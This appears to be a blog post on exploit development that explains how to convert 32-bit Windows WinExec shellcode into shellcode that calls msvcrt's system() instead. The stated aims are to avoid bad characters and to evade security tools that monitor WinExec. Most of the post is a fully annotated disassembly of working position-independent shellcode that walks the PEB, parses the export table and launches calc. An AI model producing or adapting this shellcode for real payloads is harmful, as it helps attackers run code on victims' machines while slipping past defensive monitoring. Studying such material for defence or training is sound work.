Converting WinExec shellcode

I have found an interesting method to convert WinExec shellcode. This may be useful if WinExec cannot be used because the characters WinE are bad characters or if there are security solutions monitoring for its execution. This method requires msvcrt.dll to be loaded as it uses the system call in place of WinExec. Both methods take in similar parameters so this can be achieved with only a few bytes of code change.

As an example, I will be using this 32bit WinExec calc shellcode. Credits to Skylined and Peter Ferrie for the original shellcode and the extremely detailed comments. As you can observe, we saved 1 byte with uCmdShow and inserted only 6 more bytes for the entire conversion. Depending on the DLL load order for your binary, it may take slightly more or less bytes to traverse the linked list to get to msvcrt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:  31 d2                   xor    edx,edx                          ; EDX = 0
2:  52                      push   edx                              ; Stack = 0
3:  68 63 61 6c 63          push   0x636c6163                       ; Stack = "calc", 0
8:  54                      push   esp
9:  59                      pop    ecx                              ; ECX = &("calc")
a:  52                      push   edx                              ; CODE REMOVED HERE - We don't need uCmdShow parameter for system method
b:  51                      push   ecx                              ; Stack = &("calc"), "calc", 0
c:  64 8b 72 30             mov    esi,DWORD PTR fs:[edx+0x30]      ; ESI = [TEB + 0x30] = PEB
10: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]          ; ESI = [PEB + 0x0C] = PEB_LDR_DATA
13: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]          ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
16: ad                      lods   eax,DWORD PTR ds:[esi]           ; EAX = InLoadOrder[1] (ntdll)
17: 8b 30                   mov    esi,DWORD PTR [eax]              ; ESI = InLoadOrder[2] (kernel32)
19: 8b 36                   mov    esi,DWORD PTR [esi]              ; CODE INSERTED HERE - ESI = InLoadOrder[3] (aaaa)
1b: 8b 36                   mov    esi,DWORD PTR [esi]              ; CODE INSERTED HERE - ESI = InLoadOrder[4] (bbbb)
1d: 8b 36                   mov    esi,DWORD PTR [esi]              ; CODE INSERTED HERE - ESI = InLoadOrder[5] (msvcrt)
1f: 8b 7e 18                mov    edi,DWORD PTR [esi+0x18]         ; EDI = [InLoadOrder[5] + 0x18] = msvcrt DllBase
22: 8b 5f 3c                mov    ebx,DWORD PTR [edi+0x3c]         ; EBX = [msvcrt + 0x3C] = offset(PE header)
25: 8b 5c 1f 78             mov    ebx,DWORD PTR [edi+ebx*1+0x78]   ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
29: 8b 74 1f 20             mov    esi,DWORD PTR [edi+ebx*1+0x20]   ; ESI = [msvcrt + offset(export table) + 0x20] = offset(names table)
2d: 01 fe                   add    esi,edi                          ; ESI = msvcrt + offset(names table) = &(names table)
2f: 8b 54 1f 24             mov    edx,DWORD PTR [edi+ebx*1+0x24]   ; EDX = [msvcrt + offset(export table) + 0x24] = offset(ordinals table)
33: 0f b7 2c 17             movzx  ebp,WORD PTR [edi+edx*1]         ; EBP = [msvcrt + offset(ordinals table) + offset] = function ordinal
37: 42                      inc    edx
38: 42                      inc    edx                              ; EDX = offset += 2
39: ad                      lods   eax,DWORD PTR ds:[esi]           ; EAX = &(names table[function number]) = offset(function name)
3a: 81 3c 07 73 79 73 74    cmp    DWORD PTR [edi+eax*1],0x74737973 ; CODE CHANGED HERE - Change WinE to syst
41: 75 f0                   jne    0x33
43: 8b 74 1f 1c             mov    esi,DWORD PTR [edi+ebx*1+0x1c]   ; ESI = [msvcrt + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
47: 01 fe                   add    esi,edi                          ; ESI = msvcrt + offset(address table) = &(address table)
49: 03 3c ae                add    edi,DWORD PTR [esi+ebp*4]        ; EDI = msvcrt + [&(address table)[system ordinal]] = offset(system) = &(system)
4c: ff d7                   call   edi                              ; system(&("calc"));